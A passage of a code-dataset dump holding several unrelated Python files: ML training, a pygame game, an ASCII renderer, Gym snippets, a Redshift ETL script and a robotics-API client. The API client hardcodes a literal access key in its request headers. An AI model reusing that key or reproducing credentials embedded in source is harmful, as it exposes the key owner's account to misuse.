test_dataset])\n train_dataset, test_dataset = torch.utils.data.random_split(\n dataset, [12000, 1000]\n )\n\n train_loader = DataLoader(\n train_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n )\n test_loader = DataLoader(\n test_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n )\n\n return train_loader, test_loader\n\n\ndef get_dataset_image_folder(args):\n transform = transforms.Compose(\n [\n # transforms.Resize(32 if args.dataset == \"cifar10\" else 64),\n transforms.Resize((224, 224)),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]\n )\n\n dataset = torchvision.datasets.ImageFolder(args.data_path, transform=transform)\n print(len(dataset))\n train_dataset, test_dataset = torch.utils.data.random_split(\n dataset, [int(0.9 * len(dataset)), int(0.1 * len(dataset))]\n )\n train_loader = DataLoader(\n train_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n )\n test_loader = DataLoader(\n test_dataset,\n batch_size=args.batch_size,\n shuffle=True,\n )\n\n return train_loader, test_loader\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataset\", choices=[\"cifar10\", \"stl10\"], help=\"Dataset type\")\n parser.add_argument(\n \"--data_path\", type=str, default=\"./data\", help=\"Path to dataset\"\n )\n parser.add_argument(\"--lr\", type=float, default=1e-5, help=\"Learning rate\")\n parser.add_argument(\"--batch_size\", type=int, default=128, help=\"Batch size\")\n parser.add_argument(\n \"--freeze_layers\",\n type=bool,\n default=False,\n help=\"Freeze the convolution layers or not\",\n )\n parser.add_argument(\"--n_epochs\", type=int, default=10, help=\"Number of epochs\")\n args = parser.parse_args()\n return args\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n\n model = torchvision.models.resnet34(pretrained=True)\n\n # Freeze all layers except the final layer\n if args.freeze_layers:\n for param in model.parameters():\n param.requires_grad = False\n model.fc.requires_grad = True\n\n num_ftrs = model.fc.in_features\n model.fc = nn.Linear(num_ftrs, 10)\n torch.nn.init.xavier_uniform_(model.fc.weight)\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model = model.to(device)\n\n criterion = nn.CrossEntropyLoss()\n weight_decay = 5e-4\n\n # params_1x are the parameters of the network body, i.e., of all layers except the FC layers\n params_1x = [\n param for name, param in model.named_parameters() if \"fc\" not in str(name)\n ]\n optimizer = torch.optim.Adam(\n [{\"params\": params_1x}, {\"params\": model.fc.parameters(), \"lr\": args.lr * 10}],\n lr=args.lr,\n weight_decay=weight_decay,\n )\n\n train_loader, test_loader = get_dataset(args)\n\n # Train the model\n for epoch in range(args.n_epochs):\n running_loss = 0.0\n model.train()\n for i, data in enumerate(train_loader, 0):\n # Get the inputs and labels\n inputs, labels = data\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # Zero the parameter gradients\n optimizer.zero_grad()\n\n # Forward + backward + optimize\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # Print statistics\n running_loss += loss.item()\n if (i + 1) % 100 == 0:\n print(\"[%d, %5d] loss: %.3f\" % (epoch + 1, i + 1, running_loss / 100))\n running_loss = 0.0\n\n # Evaluate the model on the test set\n correct = 0\n total = 0\n with torch.no_grad():\n model.eval()\n for data in test_loader:\n images, labels = data\n images = images.to(device)\n labels = labels.to(device)\n outputs = model(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n # Print the accuracy on the test set\n print(\n \"Accuracy on the test set after epoch %d: %d %%\"\n % (epoch + 1, 100 * correct / total)\n )\n\n print(\"Finished fine-tuning\")\n torch.save(model.state_dict(), f\"{args.dataset}_resnet34.pth\")\n","repo_name":"OPTML-Group/Unlearn-Saliency","sub_path":"DDPM/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"31"} +{"seq_id":"1438827963","text":"#Imports\nimport random, sys\nimport pygame as pg\nfrom pygame import font\npg.init()\n\n#Variables\nscore=0\nred=(255,0,0)\ngreen=(0,255,0)\nblue=(0,228,255)\nyellow=(255,128,0)\nwhite=(255,255,255)\nscreen=pg.display.set_mode((600,600))\nfails=0\nclock=pg.time.Clock()\nrunning=True\n\nbowl_img=pg.image.load('Ball_Game_Files/bowl.png')\napple_img=pg.image.load('Ball_Game_Files/apple.png')\nbackdrop_img=pg.image.load('Ball_Game_Files/backdrop.png')\norange_img=pg.image.load('Ball_Game_Files/orange.png')\ntomato_img=pg.image.load('Ball_Game_Files/tomato.png')\nlemon_img=pg.image.load('Ball_Game_Files/lemon.png')\navocado_img=pg.image.load('Ball_Game_Files/avocado.png')\npepper_img=pg.image.load('Ball_Game_Files/pepper.png')\nsquash_img=pg.image.load('Ball_Game_Files/squash.png')\nmushroom_img=pg.image.load('Ball_Game_Files/mushroom.png')\nwatermelon_img=pg.image.load('Ball_Game_Files/watermelon.png')\nbullet_img=pg.image.load('Ball_Game_Files/bullet.png')\nwatermelon_img=pg.image.load('Ball_Game_Files/watermelon.png')\n\nfail_sound=pg.mixer.Sound('Ball_Game_Files/miss_sound.wav')\nwin_sound=pg.mixer.Sound('Ball_Game_Files/catch_sound.wav')\n\nfont=pg.font.Font(None,90)\n\n\n#Classes\nclass Player(pg.sprite.Sprite):\n\tdef __init__(self):\n\t\tpg.sprite.Sprite.__init__(self)\n\t\tself.width=200\n\t\tself.height=100\n\t\tself.image=pg.transform.scale(bowl_img,(int(self.width),int(self.height)))\n\t\tself.rect=self.image.get_rect()\n\t\tself.speed=5\n\tdef update(self):\n\t\tself.image=pg.transform.scale(bowl_img,(int(self.width),int(self.height)))\n\nclass food(pg.sprite.Sprite):\n\tdef __init__(self,image):\n\t\tpg.sprite.Sprite.__init__(self)\n\t\tself.width=50\n\t\tself.height=50\n\t\tself.pic=image\n\t\tself.image=pg.transform.scale(self.pic,(int(self.width),int(self.height)\n\t\t))\n\t\tself.rect=self.image.get_rect()\n\t\tself.speed=0\n\tdef update(self):\n\t\tself.image=pg.transform.scale(self.pic,(int(self.width),int(self.height)))\n\nclass Ground(pg.sprite.Sprite):\n\tdef __init__(self):\n\t\tpg.sprite.Sprite.__init__(self)\n\t\tself.image=pg.Surface((600,100))\n\t\tself.rect=self.image.get_rect()\n\t\tself.rect.bottomleft=(0,600)\n\n#Objects and Groups\nbowl=Player()\napple=food(apple_img)\norange=food(orange_img)\ntomato=food(tomato_img)\nlemon=food(lemon_img)\navocado=food(avocado_img)\npepper=food(pepper_img)\nsquash=food(squash_img)\nmushroom=food(mushroom_img)\nmelon=food(watermelon_img)\nbullet=food(bullet_img)\nground=Ground()\n\nall_sprites=pg.sprite.Group()\nall_sprites.add(melon)\nall_sprites.add(mushroom)\nall_sprites.add(squash)\nall_sprites.add(pepper)\nall_sprites.add(avocado)\nall_sprites.add(lemon)\nall_sprites.add(tomato)\nall_sprites.add(orange)\nall_sprites.add(apple)\nall_sprites.add(bullet)\nall_sprites.add(bowl)\nall_sprites.add(bullet)\n\nbowl.rect.bottom=525\nbowl.rect.centerx=300\napple.rect.bottomleft=(random.randint(0,550),int(-15*apple.speed))\norange.rect.right=0\ntomato.rect.right=0\nlemon.rect.right=0\navocado.rect.right=0\npepper.rect.right=0\nsquash.rect.left=600\nsquash.width=100\nsquash.height=100\nmushroom.rect.right=0\nmelon.width+=50\nmelon.height+=50\nmelon.rect.left=600\nbullet.rect.topright=(0,0)\n\napple.speed=5\n\nprint('''Rules:\nRules:\n\t1. Use the arrow keys to move the bowl left and right to catch/avoid objects.\n\t2. The apple falls faster over time.\n\t3. After the score reaches 530, the apple's speed reaches its max and will not increase anymore.\n\t4. After the score reaches 1000, the apple starts to get smaller.\nFood Glossary:\n\tApple - if caught, score increases by five. If it falls to the ground, \"missed apples\" increases by 1.\n\tOrange - Increases the player's speed by 0.5.\n\tTomato - increases bowl size by 6.\n\tLemon - if caught, nothing happens. However, if it falls to the ground, \"missed apples\" increases by 2.\n\tAvocado - if \"missed apples\" is greater than zero, 0.5 apples are replenished. If there are no missed apples, the score goes up by five.\n\tPepper - If caught, \"missed apples\" increases by two.\n\tSquash - If caught, the player's speed decreases by four.\n\tMushroom - If caught, the bowl's size decreased by twenty.\n\tGlowing Orb Thing - If you catch it, nothing happens. If you miss it, nothing happens. Just think of it as a distraction.\n\tWatermelon - If caught, the size of the apple increases, and the the sizes of the peppers and squash decrease.''')\n\n#Main Loop(s)\nwhile True:\n\twhile running==True:\n\t\tclock.tick(24)\n\t\tif int(fails)>=10:\n\t\t\trunning=False\n\t\t\tname=input()\n\t\t\tprint(str(name)+' got a score of '+str(score))\n\t\t#Events\n\t\tfor event in pg.event.get():\n\t\t\tif event.type==pg.QUIT:\n\t\t\t\tsys.exit()\n\t\t\tif event.type==pg.KEYDOWN:\n\t\t\t\tif event.key==pg.K_SPACE:\n\t\t\t\t\trunning=None\n\t\tkeys=pg.key.get_pressed()\n\t\tif keys[pg.K_RIGHT]:\n\t\t\tbowl.rect.centerx+=bowl.speed\n\t\tif keys[pg.K_LEFT]:\n\t\t\tbowl.rect.centerx-=bowl.speed\n\t\t#Apple - collect to gain points\n\t\tif apple.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(win_sound)\n\t\t\tapple.rect.bottomleft=(random.randint(0,575),int(-20*apple.speed))\n\t\t\tscore+=5\n\t\t\tif apple.speed<=16:\n\t\t\t\tapple.speed+=0.1\n\t\t\tif score>1000:\n\t\t\t\tapple.width-=0.1\n\t\t\t\tapple.height-=0.1\n\t\tif apple.rect.colliderect(ground.rect):\n\t\t\tpg.mixer.Sound.play(fail_sound)\n\t\t\tapple.rect.bottomleft=(random.randint(0,575),int(-20*apple.speed))\n\t\t\tfails+=1\n\t\t\tif apple.speed<=16:\n\t\t\t\tapple.speed+=0.5\n\t\t\tif score>1000:\n\t\t\t\tapple.width-=0.25\n\t\t\t\tapple.height-=0.25\n\t\tapple.rect.bottom+=int(apple.speed)\n\n\t\t#Orange - makes you faster\n\t\tif score>100:\n\t\t\torange.speed=5\n\t\t\torange.rect.bottom+=orange.speed\n\t\tif orange.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(win_sound)\n\t\t\torange.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-3600,0)))\n\t\t\tbowl.speed+=0.5\n\t\tif orange.rect.colliderect(ground.rect):\n\t\t\torange.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-3600,0)))\n\t\tif score==100:\n\t\t\torange.rect.topleft=(int(random.randint(0,550)),int(random.randint(-3600,0)))\n\n\t\t#Tomato - replenishes missing apples\n\t\tif score>250:\n\t\t\ttomato.speed=5\n\t\t\ttomato.rect.bottom+=tomato.speed\n\t\tif tomato.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(win_sound)\n\t\t\ttomato.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-3600,0)))\n\t\t\tbowl.width+=6\n\t\t\tbowl.rect.left-=3\n\t\tif tomato.rect.colliderect(ground.rect):\n\t\t\ttomato.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-3600,0)))\n\t\tif score==250:\n\t\t\ttomato.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-3600,0)))\n\n\t\t#Lemon makes the apple slower\n\t\tif score>325:\n\t\t\tlemon.speed=5\n\t\t\tlemon.rect.bottom+=lemon.speed\n\t\tif lemon.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(win_sound)\n\t\t\tlemon.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1500)))\n\t\tif lemon.rect.colliderect(ground.rect):\n\t\t\tpg.mixer.Sound.play(fail_sound)\n\t\t\tlemon.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1500)))\n\t\t\tfails+=2\n\t\tif score==325:\n\t\t\tlemon.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1500)))\n\t\t\n\t\t#Avocado - replenishes missing apples (more than tomatoes)\n\t\tif score>475:\n\t\t\tavocado.speed=5\n\t\t\tavocado.rect.bottom+=avocado.speed\n\t\tif avocado.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(win_sound)\n\t\t\tavocado.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1800)))\n\t\t\tif fails>0:\n\t\t\t\tfails-=0.5\n\t\t\tif fails==0:\n\t\t\t\tscore+=5\n\t\tif avocado.rect.colliderect(ground.rect):\n\t\t\tavocado.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1800)))\n\t\tif score==475:\n\t\t\tavocado.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1800)))\n\t\t\n\t\t#Pepper - depletes missing apples\n\t\tif score>600:\n\t\t\tpepper.speed=5\n\t\t\tpepper.rect.bottom+=pepper.speed\n\t\tif pepper.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(fail_sound)\n\t\t\tpepper.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t\tpepper.width+=10\n\t\t\tpepper.height+=10\n\t\t\tfails+=2\n\t\tif pepper.rect.colliderect(ground.rect):\n\t\t\tpepper.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t\tpepper.width+=10\n\t\t\tpepper.height+=10\n\t\tif score==600:\n\t\t\tpepper.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t\n\t\t#Squash - makes you slower\n\t\tif score>800:\n\t\t\tsquash.speed=5\n\t\t\tsquash.rect.bottom+=squash.speed\n\t\tif squash.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(fail_sound)\n\t\t\tsquash.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,0)))\n\t\t\tbowl.speed-=4\n\t\t\tsquash.width+=10\n\t\t\tsquash.height+=10\n\t\tif squash.rect.colliderect(ground.rect):\n\t\t\tsquash.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,0)))\n\t\t\tsquash.width+=10\n\t\t\tsquash.height+=10\n\t\tif score==800:\n\t\t\tsquash.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,0)))\n\t\t\n\t\t#Mushroom - restores four missed apples\n\t\tif score>900:\n\t\t\tmushroom.speed=5\n\t\t\tmushroom.rect.bottom+=mushroom.speed\n\t\tif mushroom.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(fail_sound)\n\t\t\tmushroom.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t\tbowl.width-=20\n\t\t\tbowl.rect.right+=10\n\t\tif mushroom.rect.colliderect(ground.rect):\n\t\t\tmushroom.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\tif score==900:\n\t\t\tmushroom.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t\n\t\t#Bullet - strengthens your laser\n\t\tif score>1000:\n\t\t\tbullet.speed=5\n\t\t\tbullet.rect.bottom+=bullet.speed\n\t\tif bullet.rect.colliderect(bowl.rect):\n\t\t\tbullet.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-1500,0)))\n\t\tif bullet.rect.colliderect(ground.rect):\n\t\t\tbullet.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-1500,0)))\n\t\tif score==1000:\n\t\t\tbullet.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-1500,0)))\n\t\t\n\t\t#Melon - makes the apple bigger, the pepper and squash smaller\n\t\tif score>1000:\n\t\t\tmelon.speed=5\n\t\t\tmelon.rect.bottom+=melon.speed\n\t\tif melon.rect.colliderect(bowl.rect):\n\t\t\tpg.mixer.Sound.play(win_sound)\n\t\t\tmelon.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t\tapple.width+=5\n\t\t\tapple.height+=5\n\t\t\tpepper.width-=5\n\t\t\tpepper.height-=5\n\t\t\tsquash.width-=5\n\t\t\tsquash.height-=5\n\t\tif melon.rect.colliderect(ground.rect):\n\t\t\tmelon.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\tif score==1000:\n\t\t\tmelon.rect.bottomleft=(int(random.randint(0,550)),int(random.randint(-6000,-1200)))\n\t\t#Drawing and Updates\n\t\tscreen.blit(pg.transform.scale(backdrop_img,(600,600)),(0,0))\n\t\tall_sprites.draw(screen)\n\t\tall_sprites.update()\n\t\tscreen.blit(font.render(\"Caught: \"+(str(score)),True,red),(0,0))\n\t\tscreen.blit(font.render(\"Missed: \"+(str(int(fails))),True,red),(0,60))\n\t\tpg.display.update()\n\twhile running==None:\n\t\tfont2=pg.font.Font(None,150)\n\t\ttext=font2.render(\"Paused\",True,red)\n\t\ttextRect=text.get_rect()\n\t\ttextRect.center=(300,300)\n\t\tscreen.fill(blue)\n\t\tscreen.blit(text,textRect)\n\t\tfor event in pg.event.get():\n\t\t\tif event.type==pg.QUIT:\n\t\t\t\tsys.exit()\n\t\t\tif event.type==pg.KEYDOWN:\n\t\t\t\tif event.key==pg.K_SPACE:\n\t\t\t\t\trunning=True\n\t\tpg.display.update()\n\twhile running==False:\n\t\tfont2=pg.font.Font(None,150)\n\t\ttext=font2.render(\"Game Over!\",True,red)\n\t\ttextRect=text.get_rect()\n\t\ttextRect.center=(300,300)\n\t\tscreen.fill(blue)\n\t\tscreen.blit(text,textRect)\n\t\tfor event in pg.event.get():\n\t\t\tif event.type==pg.QUIT:\n\t\t\t\tsys.exit()\n\t\t\tif event.type==pg.KEYDOWN:\n\t\t\t\tif event.key==pg.K_SPACE:\n\t\t\t\t\tapple.speed=5\n\t\t\t\t\tbowl.speed=5\n\t\t\t\t\torange.rect.right=0\n\t\t\t\t\ttomato.rect.right=0\n\t\t\t\t\tlemon.rect.right=0\n\t\t\t\t\tavocado.rect.right=0\n\t\t\t\t\tpepper.rect.right=0\n\t\t\t\t\tsquash.rect.right=0\n\t\t\t\t\tmushroom.rect.right=0\n\t\t\t\t\tscore=0\n\t\t\t\t\tfails=0\n\t\t\t\t\tbullet.rect.right=0\n\t\t\t\t\tbowl.width=200\n\t\t\t\t\ttomato.width=50\n\t\t\t\t\ttomato.height=50\n\t\t\t\t\tsquash.width=50\n\t\t\t\t\tsquash.height=50\n\t\t\t\t\trunning=True\n\t\tpg.display.update()","repo_name":"Silent-Ruler/Bowl_Game","sub_path":"Ball_Game.py","file_name":"Ball_Game.py","file_ext":"py","file_size_in_byte":11756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25992472686","text":"#use pip3 install ...\n\nfrom PIL import Image\nimport os\nimport cv2\nimport sys\n\nDEFAULT_RES = 128\nVIDEO_EXT = ['.mp4', '.avi']\nIMAGE_EXT = ['.jpg', '.png']\n\ndef main():\n #input should be as absolute path\n path = sys.argv[1]\n _, ext = os.path.splitext(path)\n res = 0\n if (len(sys.argv) > 2):\n res = int(sys.argv[2])\n\n if (ext in VIDEO_EXT):\n renderVideo(path, res)\n elif (ext in IMAGE_EXT):\n renderFile(path, res)\n else:\n print(\"Invalid file path/type!\")\n\ndef renderVideo(path, maxSize):\n if (maxSize == 0):\n maxSize = DEFAULT_RES\n vid = cv2.VideoCapture(path)\n width = vid.get(3) # float `width`\n height = vid.get(4) # float `height`\n\n newSizes = findNewDimensions(width, height, maxSize)\n \n while (vid.isOpened()):\n # Capture frame-by-frame\n # os.system('clear')\n ret, frame = vid.read()\n if (ret == True):\n cv2_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cv2_frame = cv2.resize(cv2_frame, (newSizes[0], newSizes[1]), fx = 0, fy = 0,interpolation = cv2.INTER_CUBIC)\n pil_frame = Image.fromarray(cv2_frame)\n renderPostImage(pil_frame)\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n else:\n break\n vid.release()\n cv2.destroyAllWindows()\n\ndef renderFile(path, maxSize):\n if (maxSize == 0):\n maxSize = DEFAULT_RES\n image = Image.open(path, 'r')\n renderImage(image, maxSize)\n\ndef renderPostImage(image):\n characters = \"\"\"`.-':_,^=;><+!rc*/z?sLTv)J7(|Fi{C}fI31tlu[neoZ5Yxjya]2ESwqkP6h9d4VpOGbUAKXHm8RD#$Bg0MNWQ%&@\"\"\"\n scale = [*characters]\n\n #get image size\n size = image.size\n newSizes = size\n # image.save(dir + '/new_' + imageName + '.jpg')\n\n toPixel = []\n totalMax = image.getpixel((0, 0))\n totalMin = image.getpixel((0, 0))\n\n # print(newSizes)\n\n for y in range(0, newSizes[1], 2):\n row = []\n for x in range(newSizes[0]):\n pixel = image.getpixel((x, y))\n row.append(pixel)\n if (pixel > totalMax): totalMax = pixel\n if (pixel < totalMin): totalMin = pixel\n toPixel.append(row)\n\n # for i in range(len(toPixel)):\n # print(toPixel[i])\n\n eachRange = int((totalMax - totalMin)/len(characters))\n ranges = []\n for i in range(len(characters)):\n ranges.append(totalMin + eachRange * i)\n\n for a in range(len(toPixel)):\n for b in range(len(toPixel[a])):\n pixelValue = toPixel[a][b]\n toPixel[a][b] = getShading(pixelValue, ranges, scale)\n\n for i in range(len(toPixel)):\n line = ''.join(toPixel[i])\n print(line)\n\ndef renderImage(image, maxSize=0):\n\n #grayscale range - 69 characters\n ### different gradients to choose from\n # characters = \"\"\"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/\\|()1{}[]?-_+~<>i!lI;:,\"^`'.\"\"\"\n # characters = \"\"\"@@@@@@@@@@@@%%%%%%%%#########********+++++++++====\"\"\"\n # characters = \"\"\"@&%QWNM0gB$#DR8mHXKAUbGOpV4d9h6PkqwSE2]ayjxY5Zoen[ult13If}C{iF|(7J)vTLs?z/*cr!+<>;=^,_:'-.`\"\"\"\n characters = \"\"\"`.-':_,^=;><+!rc*/z?sLTv)J7(|Fi{C}fI31tlu[neoZ5Yxjya]2ESwqkP6h9d4VpOGbUAKXHm8RD#$Bg0MNWQ%&@\"\"\"\n scale = [*characters]\n\n #get image size\n size = image.size\n w = size[0]\n l = size[1]\n\n if (maxSize == 0):\n maxSize = max(w, l)\n\n newSizes = findNewDimensions(w, l, maxSize)\n image = image.convert('L')\n image = image.resize(newSizes)\n # image.save(dir + '/new_' + imageName + '.jpg')\n\n toPixel = []\n totalMax = image.getpixel((0, 0))\n totalMin = image.getpixel((0, 0))\n\n # print(newSizes)\n\n for y in range(0, newSizes[1], 2):\n row = []\n for x in range(newSizes[0]):\n pixel = image.getpixel((x, y))\n row.append(pixel)\n if (pixel > totalMax): totalMax = pixel\n if (pixel < totalMin): totalMin = pixel\n toPixel.append(row)\n\n # for i in range(len(toPixel)):\n # print(toPixel[i])\n\n eachRange = int((totalMax - totalMin)/len(characters))\n ranges = []\n for i in range(len(characters)):\n ranges.append(totalMin + eachRange * i)\n\n for a in range(len(toPixel)):\n for b in range(len(toPixel[a])):\n pixelValue = toPixel[a][b]\n toPixel[a][b] = getShading(pixelValue, ranges, scale)\n\n for i in range(len(toPixel)):\n line = ''.join(toPixel[i])\n print(line)\n\ndef findNewDimensions(w, l, ms):\n if (w == l):\n return [ms, ms]\n else:\n maximum = max(w, l)\n mult = (ms / maximum)\n return [int(w * mult), int(l * mult)]\n\ndef getShading(v, r, s):\n if (v <= r[0]): return s[0]\n if (v >= r[len(r)-1]): return s[len(s)-1]\n else:\n point = 0\n while (v > r[point]):\n point += 1\n return s[point] \n\nif __name__ == \"__main__\":\n main()","repo_name":"tkl0000/asciiGenerator","sub_path":"ascii.py","file_name":"ascii.py","file_ext":"py","file_size_in_byte":4885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71249311448","text":"import requests as req\nfrom pprint import pprint as pp\nimport time\nimport json\n\niowa_teams = []\nteams = req.get('https://theorangealliance.org/api/team/9925/events/1920', headers={\n \"Content-Type\": \"application/json\",\n \"X-TOA-Key\": \"96b204527e38d1826dce328bc44fb791c8da5376a74bca5b1ca2d3993c076e7f\",\n \"X-Application-Origin\": \"Delta Robotics TOA API Test\"\n})\nresults = teams.json()\nevent_keys = []\nmatch_participant_key = []\nmatch_data = []\ntotal_matches = []\nteam_matches = []\nteam_alliance = []\nfor x in results:\n event_keys.append(x['event_key'])\n\npp(event_keys)\n\nfor x in event_keys:\n event_matches = req.get('https://theorangealliance.org/api/event/' + x + '/matches', headers={\n \"Content-Type\": \"application/json\",\n \"X-TOA-Key\": \"96b204527e38d1826dce328bc44fb791c8da5376a74bca5b1ca2d3993c076e7f\",\n \"X-Application-Origin\": \"Delta Robotics TOA API Test\"\n })\n total_matches.append(event_matches.json())\npp(total_matches)\nfor x in range(0, len(total_matches)):\n for y in total_matches[x]:\n for z in y['participants']:\n if z['team_key'] == '9925':\n team_matches.append(z['match_key'])\n team_alliance.append(z['match_participant_key'][-2])\n\n\npp(team_matches)\npp(team_alliance)\n","repo_name":"DeltaRobotics-FTC/DeltaTOATeamAnalysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30434857128","text":"class Datamining:\r\n\r\n def __init__(self, train_set):\r\n self.x_train = [point[0] for point in train_set]\r\n self.y_train = [point[1] for point in train_set]\r\n self.slope, self.intercept = self.linear_regression()\r\n\r\n def linear_regression(self):\r\n n = len(self.x_train)\r\n sum_x = sum(self.x_train)\r\n sum_y = sum(self.y_train)\r\n sum_xy = sum(x * y for x, y in zip(self.x_train, self.y_train))\r\n sum_x_squared = sum(x ** 2 for x in self.x_train)\r\n\r\n slope = (n * sum_xy - sum_x * sum_y) / (n * sum_x_squared - sum_x ** 2)\r\n intercept = (sum_y - slope * sum_x) / n\r\n\r\n return slope, intercept\r\n\r\n def predict(self, x):\r\n return self.slope * x + self.intercept","repo_name":"vvxxrrvvx/codewars-kata","sub_path":"Python/5 kyu/5kyu_Data_mining_#1.py","file_name":"5kyu_Data_mining_#1.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"70080579927","text":"# -*- coding: utf-8 -*-\n\"\"\"\ntitle: Gym\nsubtitle: Intro\nsource: \n link: https://gym.openai.com/docs/\nfile:\n name: gym_00.py\n path: D:\\ROBOCZY\\Python\\Gym\\\n date: 2019-03-11 Mon 12:08:21 \n author: \n - nick: kasprark\n fullname: Arkadiusz Kasprzyk\n email:\n - arkadiusz.kasprzyk@tieto.com\n - akasp@interia.pl\n - akasp666@gmail.com\n - arek@staart.pl\n\"\"\"\n\n#%%\n\nimport gym\n\n#%%\n\nenv_nam = 'CartPole-v0'\nenv_nam = 'MountainCar-v0'\nenv_nam = 'MountainCarContinuous-v0'\nenv_nam = 'MsPacman-v0' # needs Atari\nenv_nam = 'Hopper-v0'\nenv_nam = 'CarRacing-v0'\n\n#%%\n\nenv = gym.make(env_nam)\nenv.reset()\nfor _ in range(1000):\n env.render()\n env.step(env.action_space.sample()) # take a random action\n \n#%% better version\n \nimport gym\nenv = gym.make(env_nam)\nfor i_episode in range(20):\n observation = env.reset()\n for t in range(100):\n env.render()\n print(observation)\n action = env.action_space.sample()\n observation, reward, done, info = env.step(action)\n if done:\n print(\"Episode finished after {} timesteps\".format(t+1))\n break\n \n#%%\n \nimport gym\nenv = gym.make('CartPole-v0')\nprint(env.action_space) # Discrete(2)\nprint(env.observation_space) # Box(4,)\n \nprint(env.observation_space.high) \nprint(env.observation_space.low) \n\n#%%\n\nfrom gym import spaces\nspace = spaces.Discrete(8)\nspace\ndir(space)\nspace.n\nx = space.sample()\nx\nassert space.contains(x)\n\n#%%\nfrom gym import envs\nprint(envs.registry.all())\n\n","repo_name":"RCanDo/NNRL","sub_path":"Gym/00 - intro.py","file_name":"00 - intro.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39868356090","text":"import configparser\nimport psycopg2\nfrom sql_queries import copy_table_queries, insert_table_queries\n\n\ndef load_staging_tables(cur, conn):\n \"\"\"\n Copy and Load data files stored in S3 to the staging tables using the respective copy queries\n \n \"\"\"\n for query in copy_table_queries:\n cur.execute(query)\n conn.commit()\n\n\ndef insert_tables(cur, conn):\n \"\"\"\n Insert and Transform data from staging tables into the dimensional tables using the respective insert queries \n \"\"\"\n for query in insert_table_queries:\n print(query)\n cur.execute(query)\n print('inserted', query)\n conn.commit()\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n\n conn = psycopg2.connect(\"host={} dbname={} user={} password={} port={}\".format(*config['CLUSTER'].values()))\n cur = conn.cursor()\n \n load_staging_tables(cur, conn)\n insert_tables(cur, conn)\n \n conn.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"smaracallo/Data-Engineering-Nano-Degree","sub_path":"Cloud Data Warehouse Project 2/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24246461017","text":"\"\"\"\n Union special excel template\n\"\"\"\nimport datetime\nimport random\nfrom io import BytesIO\nfrom tempfile import NamedTemporaryFile\n\nimport numpy as np\nfrom copy import copy\n\nfrom openpyxl import load_workbook\n\nimport os\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nclass USExcelTemplate:\n\n def _load_template(self):\n filepath = 